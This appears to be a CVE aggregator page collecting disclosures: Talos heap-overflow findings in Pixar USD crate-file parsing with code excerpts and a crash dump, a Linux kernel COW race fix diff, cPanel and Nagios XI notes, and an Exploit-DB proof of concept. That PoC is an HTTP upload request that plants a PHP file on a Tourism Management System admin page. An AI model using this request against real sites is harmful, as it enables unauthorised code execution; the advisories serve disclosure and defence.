USD binary file format consists of a header pointing to a table of contents that in turn points to individual sections that comprise the whole file. Format specifies that if the format version is 4 or higher, sections content is compressed. Four instances of a heap overflow vulnerability exist in a way USD processes compressed data of specific sections. These are FIELDS,FIELDSETS, PATHS and SPECS.

**CVE-2020-6147 - USDC file format FIELDS section decompression heap overflow**

Following code is responsible for decoding the FIELDS section data (from pxr/usd/usd/crateFile.cpp):

    if (auto fieldsSection = _toc.GetSection(_FieldsSectionName)) {
        reader.Seek(fieldsSection->start);                              [1]
        if (Version(_boot) < Version(0,4,0)) {                          [2]
            _fields = reader.template Read<decltype(_fields)>();
        } else {
            // Compressed fields in 0.4.0.
            auto numFields = reader.template Read<uint64_t>();          [3]
            _fields.resize(numFields);
    
            // Create temporary space for decompressing.
            std::unique_ptr<char[]> compBuffer(
                new char[Usd_IntegerCompression::
                         GetCompressedBufferSize(numFields)]);          [4]
            vector<uint32_t> tmp(numFields);
            auto fieldsSize = reader.template Read<uint64_t>();         [5]
            reader.ReadContiguous(compBuffer.get(), fieldsSize);        [6]
    

In the above code, parser navigates to the beginning of the FIELDS section at \[1\]. If version check at \[2\] resolves that compressed fields are used, a 64 bit value of numFields is read at \[3\] and is subsequently used to calculate the size of the buffer at \[4\]. Another 64 bit value , fieldSize is read at \[5\] which is subsequently used to initiate a buffer read at \[6\]. Data from the file is read into buffer that is sized based on numFields, but is bounded by fieldsSize. Both values are under direct control and no check is performed to insure fieldsSize bytes can fit into the allocated buffer. This can result in buffer overflow on the heap.

**CVE-2020-6148 - USDC file format FIELDSETS section decompression heap overflow**

Following code is responsible for decoding the FIELDSETS section data (from pxr/usd/usd/crateFile.cpp):

    // Compressed fieldSets in 0.4.0.
    auto numFieldSets = reader.template Read<uint64_t>();           [7]
    _fieldSets.resize(numFieldSets);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::
                 GetCompressedBufferSize(numFieldSets)]);           [8]
    vector<uint32_t> tmp(numFieldSets);
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numFieldSets)]);
    
    auto fsetsSize = reader.template Read<uint64_t>();              [9]
    reader.ReadContiguous(compBuffer.get(), fsetsSize);             [10]
    

Like in the previous vulnerability, parsing the FIELDSETS section starts with reading numFiledSets at \[7\] which is used to allocate a properly sized buffer at \[8\]. Then, fsetsSize 64 bit value is read at \[9\] and used as a read size argument to a file buffer read at \[10\]. Destination buffer size is calculated based on numFieldSets, but file read at \[10\] reads fsetsSize bytes. This constitutes an buffer overflow on the heap.

**CVE-2020-6149 - USDC file format PATHS section decompression heap overflow**

Following code is responsible for decoding the PATHS section data (from pxr/usd/usd/crateFile.cpp):

    _paths.resize(reader.template Read<uint64_t>());                    [11]
    std::fill(_paths.begin(), _paths.end(), SdfPath());
    
    WorkArenaDispatcher dispatcher;
    // VERSIONING: PathItemHeader changes size from 0.0.1 to 0.1.0.
    Version fileVer(_boot);
    if (fileVer == Version(0,0,1)) {  
        _ReadPathsImpl<_PathItemHeader_0_0_1>(reader, dispatcher);
    } else if (fileVer < Version(0,4,0)) {                             
        _ReadPathsImpl<_PathItemHeader>(reader, dispatcher);
    } else {                                                            [12]
        // 0.4.0 has compressed paths.
        _ReadCompressedPaths(reader, dispatcher);
    }
    

First, a 64 bit value of number of paths is read at \[11\] and a familiar file version check is performed. If the file version is 4 or higher, code at \[12\] proceeds to call _ReadCompressedPaths :

    size_t numPaths = reader.template Read<uint64_t>();                 [13]
    
    pathIndexes.resize(numPaths);
    elementTokenIndexes.resize(numPaths);
    jumps.resize(numPaths);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::GetCompressedBufferSize(numPaths)]);      [14]
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numPaths)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();                [15]
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);               [16]
    

Again, a 64 bit value of numPaths is read into a size_t typed variable at \[13\] and is then used to calculate the size of buffer allocation at \[14\]. Another 64 bit value of pathIndexesSize is read at \[15\] and is subsequently used as a buffer read size value at \[16\]. Since the destination buffer size is based on numPaths value, but file read size on pathIndexesSize, buffer can be made too small to fit the whole read which will result in a buffer overflow on the heap.

**CVE-2020-6150 - USDC file format SPECS section decompression heap overflow**

Following code is responsible for decoding the SPECS section data (from pxr/usd/usd/crateFile.cpp):

    // Version 0.4.0 specs are compressed
    auto numSpecs = reader.template Read<uint64_t>();               [17]
    _specs.resize(numSpecs);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::
                 GetCompressedBufferSize(numSpecs)]);               [18]
    vector<uint32_t> tmp(_specs.size());
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numSpecs)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();        [19]
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);       [20]
    

As with previous vulnerabilities, a 64 bit value is read into numSpecs at \[17\] which is used to calculate the size of the buffer at \[18\]. Actual size of the section data is read at \[19\] into a 64 bit value pathIndexesSize. Notice the reuse of variable name, indicating code copy/pasting. This size value is used as a file read size at \[20\] and can result in a heap based buffer overflow if buffer allocated at \[18\] is too small.

**CVE-2020-6156 - USDC file format path element token index decompression heap overflow**

Section PATHS in the USDC binary file contains three arrays, each encoding parts of a path value. Similarly to already reported CVE-2020-6149, a heap buffer overflow vulnerability exists in a way compressed path elements are processed. Following code is invoked :

    // Read number of encoded paths.
    size_t numPaths = reader.template Read<uint64_t>();                              [1]
    
    pathIndexes.resize(numPaths);
    elementTokenIndexes.resize(numPaths);
    jumps.resize(numPaths);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::GetCompressedBufferSize(numPaths)]);        [2]
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numPaths)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);                                               
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), pathIndexesSize, pathIndexes.data(), numPaths,
        workingSpace.get());
    
    // elementTokenIndexes.
    auto elementTokenIndexesSize = reader.template Read<uint64_t>();                  [3]
    reader.ReadContiguous(compBuffer.get(), elementTokenIndexesSize);                 [4]
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), elementTokenIndexesSize,
        elementTokenIndexes.data(), numPaths, workingSpace.get());
    

First, at \[1\] , a total number of paths to be reconstructed is read. This value is used to calculate the size of compressed buffer at \[2\]. Then, at \[3\] , a compressed size of element token indices is read at \[3\] and a large buffer read at \[4\]. Notice that while the compBuffer is sized based on value read from \[1\], the value in elementTokenIndexSize is used as a read size argument. Both of these value come directly frome the file and, if mismatched, can result in a heap buffer overflow where both allocation and overflow size , as well as overflow contents are under direct control.

**CVE-2020-13493 - USDC file format path jumps decompression heap overflow**

Similarly to above, a heap buffer overflow vulnerability exists in a way path jumps are processed. Following code is invoked right after the previously discussed:

    // jumps.
    auto jumpsSize = reader.template Read<uint64_t>();                                               [5]
    reader.ReadContiguous(compBuffer.get(), jumpsSize);                                           [6]
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), jumpsSize, jumps.data(), numPaths,
        workingSpace.get());
    

As in the previous case, destination buffer compBuffer size is calculated based on calculation at \[2\], but a second value read at \[5\] is used as a size argument to a ReadContiguous call at \[6\]. If the allocated buffer is smaller than the size read at \[6\], this will lead to a heap based buffer overflow.

In this case , the potential attacker controls both the size of allocated memory buffer, the size of the overflow as well as all the data of the overflow which comes directly from the file being read. With proper memory manipulation and control, this can lead to arbitrary code execution.

**Crash Information**

Including crash context for only one instance of the vulnerability. Tested on latest version of macOS Catalina 10.15.3.

        thread #2, queue = 'com.apple.quicklook.thumbnailservicecontext.thumbnailgeneration', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
              frame #0: 0x00007fff6f4f0930 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 496
                frame #1: 0x00007fff3ded2644 ModelIO`___lldb_unnamed_symbol96151$$ModelIO + 158
                frame #2: 0x00007fff3ded1d67 ModelIO`___lldb_unnamed_symbol96148$$ModelIO + 341
                frame #3: 0x00007fff3debf7ef ModelIO`___lldb_unnamed_symbol95659$$ModelIO + 867
                frame #4: 0x00007fff3debf273 ModelIO`___lldb_unnamed_symbol95658$$ModelIO + 517
                frame #5: 0x00007fff3debee89 ModelIO`___lldb_unnamed_symbol95657$$ModelIO + 417
                frame #6: 0x00007fff3debe40d ModelIO`___lldb_unnamed_symbol95646$$ModelIO + 599
                frame #7: 0x00007fff3dfc558d ModelIO`___lldb_unnamed_symbol101370$$ModelIO + 261
                frame #8: 0x00007fff3df7177e ModelIO`___lldb_unnamed_symbol100320$$ModelIO + 258
                frame #9: 0x00007fff3d95c195 ModelIO`___lldb_unnamed_symbol34985$$ModelIO + 1221
                frame #10: 0x00007fff3d95b321 ModelIO`___lldb_unnamed_symbol34982$$ModelIO + 2545
                frame #11: 0x00007fff3d95a593 ModelIO`___lldb_unnamed_symbol34979$$ModelIO + 867
                frame #12: 0x00007fff3df85979 ModelIO`___lldb_unnamed_symbol100531$$ModelIO + 209
                frame #13: 0x00007fff3df85ae0 ModelIO`___lldb_unnamed_symbol100532$$ModelIO + 200
                frame #14: 0x00007fff3d61231a ModelIO`___lldb_unnamed_symbol2606$$ModelIO + 386
                frame #15: 0x00007fff3d592ed6 ModelIO`___lldb_unnamed_symbol670$$ModelIO + 794
                frame #16: 0x00007fff3d592b17 ModelIO`___lldb_unnamed_symbol669$$ModelIO + 97
                frame #17: 0x00007fff43f488d4 SceneKit`loadMDLAssetWithURL + 113
                frame #18: 0x00007fff43dbe878 SceneKit`-[SCNSceneSource _createSceneRefWithOptions:statusHandler:] + 788
                frame #19: 0x00007fff43dbe4a5 SceneKit`-[SCNSceneSource _sceneWithClass:options:statusHandler:] + 1525
                frame #20: 0x00007fff43dbdcd6 SceneKit`-[SCNSceneSource sceneWithClass:options:statusHandler:] + 117
                frame #21: 0x00007fff43dbdc45 SceneKit`-[SCNSceneSource sceneWithClass:options:error:] + 88
                frame #22: 0x0000000102ab25c9 SceneKitQLThumbnailExtension`___lldb_unnamed_symbol1$$SceneKitQLThumbnailExtension + 414
                frame #23: 0x00007fff438e8fb2 QuickLookThumbnailing`__145-[QLThumbnailServiceContext generateThumbnailOfSize:minimumSize:scale:badgeType:withFileURLHandler:additionalResourcesWrapper:completionHandler:]_block_invoke + 432
                frame #24: 0x00007fff6f2a0583 libdispatch.dylib`_dispatch_call_block_and_release + 12
    
            Nearby code:
            libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell:
            ->  0x7fff6f4f0930 <+496>: c5 fc 10 46 e0     vmovups ymm0, ymmword ptr [rsi - 0x20]
                0x7fff6f4f0935 <+501>: 49 89 fb           mov    r11, rdi
                0x7fff6f4f0938 <+504>: 48 83 ef 01        sub    rdi, 0x1
                0x7fff6f4f093c <+508>: 48 83 e7 e0        and    rdi, -0x20
                0x7fff6f4f0940 <+512>: 4c 89 d9           mov    rcx, r11
                0x7fff6f4f0943 <+515>: 48 29 f9           sub    rcx, rdi
                0x7fff6f4f0946 <+518>: 48 29 ce           sub    rsi, rcx
                0x7fff6f4f0949 <+521>: 48 29 ca           sub    rdx, rcx
                0x7fff6f4f094c <+524>: c5 fc 10 4e e0     vmovups ymm1, ymmword ptr [rsi - 0x20]
                0x7fff6f4f0951 <+529>: c4 c1 7c 11 43 e0  vmovups ymmword ptr [r11 - 0x20], ymm0
    
                rax = 0x00007ffa0b55eb10
                rbx = 0x0000000000000000
                rcx = 0x4141414141414141
                rdx = 0x4141414141414141
                rsi = 0x414141424400d36f
                rdi = 0x4141c13b4c972c51
                 r8 = 0x4141414141414141
                 r9 = 0x0000000000000000
                r10 = 0x00000000fffbffff
                r11 = 0x00007ff9089658e2
                r12 = 0x0000700008c499a8
                r13 = 0x0000700008c499a8
                r14 = 0x4141414141414141
                r15 = 0x00007ffa0b55eb10
                rsp = 0x0000700008c498e0
                rbp = 0x0000700008c498e0
                rip = 0x00007fff6f4f0930 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 496
                fla = o d I t s z a p c
    

**Timeline**

2020-07-01 - Vendor Disclosure to Pixar & Apple

2020-11-12 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2020-13493: TALOS-2020-1094 || Cisco Talos Intelligence Group

An issue was discovered in __split_huge_pmd in mm/huge_memory.c in the Linux kernel before 5.7.5. The copy-on-write implementation can grant unintended write access because of a race condition in a THP mapcount check, aka CID-c444eb564fb1.

Write protect anon page faults require an accurate mapcount to decide if to break the COW or not. This is implemented in the THP path with reuse\_swap\_page() -> page\_trans\_huge\_map\_swapcount()/page\_trans\_huge\_mapcount(). If the COW triggers while the other processes sharing the page are under a huge pmd split, to do an accurate reading, we must ensure the mapcount isn't computed while it's being transferred from the head page to the tail pages. reuse\_swap\_cache() already runs serialized by the page lock, so it's enough to add the page lock around \_\_split\_huge\_pmd\_locked too, in order to add the missing serialization. Note: the commit in "Fixes" is just to facilitate the backporting, because the code before such commit didn't try to do an accurate THP mapcount calculation and it instead used the page\_count() to decide if to COW or not. Both the page\_count and the pin\_count are THP-wide refcounts, so they're inaccurate if used in reuse\_swap\_page(). Reverting such commit (besides the unrelated fix to the local anon\_vma assignment) would have also opened the window for memory corruption side effects to certain workloads as documented in such commit header. Signed-off-by: Andrea Arcangeli <aarcange@redhat.com> Suggested-by: Jann Horn <jannh@google.com> Reported-by: Jann Horn <jannh@google.com> Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com> Fixes: 6d0a07edd17c ("mm: thp: calculate the mapcount correctly for THP pages during WP faults") Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

diff --git a/mm/huge\_memory.c b/mm/huge\_memory.c  
index 11fe0b4dbe673..dddc863b3cbcf 100644  
\--- a/mm/huge\_memory.c  
+++ b/mm/huge\_memory.c

@@ -2385,6 +2385,8 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

{

spinlock\_t \*ptl;

struct mmu\_notifier\_range range;

\+ bool was\_locked = false;

\+ pmd\_t \_pmd;

mmu\_notifier\_range\_init(&range, MMU\_NOTIFY\_CLEAR, 0, vma, vma->vm\_mm,

address & HPAGE\_PMD\_MASK,

@@ -2397,11 +2399,32 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

\* pmd against. Otherwise we can end up replacing wrong page.

\*/

VM\_BUG\_ON(freeze && !page);

\- if (page && page != pmd\_page(\*pmd))

\- goto out;

\+ if (page) {

\+ VM\_WARN\_ON\_ONCE(!PageLocked(page));

\+ was\_locked = true;

\+ if (page != pmd\_page(\*pmd))

\+ goto out;

\+ }

+repeat:

if (pmd\_trans\_huge(\*pmd)) {

\- page = pmd\_page(\*pmd);

\+ if (!page) {

\+ page = pmd\_page(\*pmd);

\+ if (unlikely(!trylock\_page(page))) {

\+ get\_page(page);

\+ \_pmd = \*pmd;

\+ spin\_unlock(ptl);

\+ lock\_page(page);

\+ spin\_lock(ptl);

\+ if (unlikely(!pmd\_same(\*pmd, \_pmd))) {

\+ unlock\_page(page);

\+ put\_page(page);

\+ page = NULL;

\+ goto repeat;

\+ }

\+ put\_page(page);

\+ }

\+ }

if (PageMlocked(page))

clear\_page\_mlock(page);

} else if (!(pmd\_devmap(\*pmd) || is\_pmd\_migration\_entry(\*pmd)))

@@ -2409,6 +2432,8 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

\_\_split\_huge\_pmd\_locked(vma, pmd, range.start, freeze);

out:

spin\_unlock(ptl);

\+ if (!was\_locked && page)

\+ unlock\_page(page);

/\*

\* No need to double call mmu\_notifier->invalidate\_range() callback.

\* They are 3 cases to consider inside \_\_split\_huge\_pmd\_locked():

CVE-2020-29368: git/torvalds/linux.git - Linux kernel source tree

In cPanel before 90.0.17, 2FA can be bypassed via a brute-force approach (SEC-575).

CVE-2020-29136: 90 Change Log

An Arbitrary File Upload is discovered in SourceCodester Tourism Management System 1.0 allows the user to conduct remote code execution via admin/create-package.php vulnerable page.

    #Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
    #Date: 2020-10-19
    #Exploit Author: Ankita Pal & Saurav Shukla
    #Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
    #Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
    #Version: V1.0
    #Tested on: Windows 10 + xampp v3.2.4
    
    
    Proof of Concept:::
    
    Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
    
    Step 2: Open Tour Package -> Create
    
    Malicious Request:::
    
    POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
    Host: localhost:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
    Content-Length: 1101
    Origin: http://localhost:8081
    Connection: close
    Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
    Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
    Upgrade-Insecure-Requests: 1
    
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagename"
    
    Pack1
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagetype"
    
    Family
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagelocation"
    
    Manali
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packageprice"
    
    21
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagefeatures"
    
    Free
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagedetails"
    
    Details
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packageimage"; filename="file1.php"
    Content-Type: application/octet-stream
    
    <?php
    	phpinfo();
    ?>
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="submit"
    
    
    -----------------------------63824304340061635682865592713--

CVE-2020-28136: OffSec’s Exploit Database Archive

Improper input validation in the Auto-Discovery component of Nagios XI before 5.7.5 allows an authenticated attacker to execute remote code.

Tag

#rce